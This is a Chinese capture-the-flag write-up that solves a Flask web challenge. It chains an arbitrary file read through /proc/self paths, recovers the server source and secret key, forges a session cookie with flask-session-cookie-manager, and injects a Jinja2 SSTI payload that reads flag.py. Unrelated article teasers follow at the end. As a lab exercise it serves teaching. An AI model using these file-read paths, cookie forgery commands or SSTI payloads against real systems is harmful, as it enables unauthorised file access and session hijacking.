[第一章 web入门]afr_3

news/2024/5/19 23:44:50 标签: 笔记, ctf, 题解, web安全

[第一章 web入门]afr_3

任意文件读取,session伪造+ssti

  • 先随便输入,进入页面之后,让我们看文章,尝试使用./,测试是否为一个文件
    image.png
  • 测试成功,是一个文件,所以尝试文件读取漏洞
    image.png
  • 直接读取flag发现不行
    image.png

/proc/self/

[[proc-self]]

/proc/self/cmdline 包含了用于开始进程的命令
/proc/self/cwd 包含了当前进程工作目录的一个链接
/proc/self/environ 包含了可用进程环境变量的列表
/proc/self/exe 包含了正在进程中运行的程序链接
/proc/self/fd/ 这个目录包含了进程打开的每一个文件的链接
/proc/self/mem 包含了进程在内存中的内容
/proc/self/stat 包含了进程的状态信息
/proc/self/statm 包含了进程的内存使用信息
/proc/self/pwd/ 代表的是当前路径

  • 尝试读取/proc/self/cmdline得到
    image.png
  • 尝试读取/proc/self/cwd/server.py
    image.png

import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)
  • 可以发现secret_key在key.py,flag在flag.py里面
  • 并且,/n1page路由下面有ssti注入,注入的数据刚好是session
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']

flask-session-cookie-manager

[[flask-session-cookie-manager]]

解码得到格式
python3 flask_session_cookie_manager3.py decode -c "eyJuMWNvZGUiOm51bGx9.Zg5nDw.Gujas8JJVC9HCDxcyUMfSKL0Sn0" -s "Drmhze6EPcv0fN_81Bj-nA"

格式
{'n1code': None}

根据格式加密
python3 flask_session_cookie_manager3.py encode -t "{'n1code':'{{[].__class__.__base__.__subclasses__()[40](\'flag.py\').read()}}'}" -s "Drmhze6EPcv0fN_81Bj-nA"

得到
eyJuMWNvZGUiOiJ7e1tdLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgnZmxhZy5weScpLnJlYWQoKX19In0.Zg5tbQ.xMI3iaQ8sQIszfzcgF6I-G8Qa9g

其中的ssti语句,读取flag.py内容

{{[].__class__.__base__.__subclasses__()[40]('flag.py').read()}}
  • 将伪造的session放入/n1page路由下面
    image.png

http://www.niftyadmin.cn/n/5471113.html

相关文章

Pygame基础8-碰撞

Collisions 在Pygame中&#xff0c;我们使用矩形来移动物体&#xff0c;并且用矩形检测碰撞。 colliderect检测两个矩形是否碰撞&#xff0c;但是没法确定碰撞的方向。 Rect1.colliderect(Rect2) # collision -> return Ture # else -> return Falsecollidepoint可以…

WebGL BabylonJS GUI 如何创建连接模型的按钮

如图所示&#xff1a; 方法&#xff1a; createGUI(mesh: BABYLON.Mesh, title: string, index: number) {const advancedTexture AdvancedDynamicTexture.CreateFullscreenUI(UI)const rect new Rectangle()rect.width 100pxrect.height 40pxrect.thickness 0advancedT…

7.java openCV4.x 入门-Mat之转换、重塑与计算

专栏简介 &#x1f492;个人主页 &#x1f4f0;专栏目录 点击上方查看更多内容 &#x1f4d6;心灵鸡汤&#x1f4d6;我们唯一拥有的就是今天&#xff0c;唯一能把握的也是今天建议把本文当作笔记来看&#xff0c;据说专栏目录里面有相应视频&#x1f92b; &#x1f9ed;文…

763.划分字幕区间(C++)

// 定义一个名为Solution的类 class Solution { public:// 定义一个公开成员函数partitionLabels&#xff0c;输入一个字符串S&#xff0c;输出一个整数向量&#xff08;vector&#xff09;vector<int> partitionLabels(string S) {// 初始化一个长度为27的整数数组hash&…

【数据库】数据库的介绍、分类、作用和特点,AI人工智能数据如何存储

欢迎来到《小5讲堂》&#xff0c;大家好&#xff0c;我是全栈小5。 这是《数据库》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识…

31.volatile保证可见性

JMM-java memory model-java内存模型 1.原子性&#xff0c;保证指令不受线程上下文切换的影响。 2.可见性&#xff0c;保证指令不会受cpu缓存的影响。 3.有序性&#xff0c;保证指令不会受cpu指令并行优化的影响。 Slf4j public class ThreadSee {static boolean flag tr…

【HTML】制作一个简单的三角形动态图形

目录 前言 开始 HTML部分 CSS部分 效果图 总结 前言 无需多言&#xff0c;本文将详细介绍一段HTML和CSS代码&#xff0c;具体内容如下&#xff1a; 开始 首先新建文件夹&#xff0c;创建两个文本文档&#xff0c;其中HTML的文件名改为[index.html]&#xff0c;CSS的文件名…

C++:逻辑运算符-非与或(19)

!非!a如果a为假&#xff0c;那么当前他就是真&#xff0c;如果a是真&#xff0c;那么他直接就是假&&与a&&ba与b都为真&#xff0c;那么就是真&#xff0c;如果两个里面有一个为假那么就是假||或a||ba或b有一个为真&#xff0c;那么就是真 非&#xff08;!&…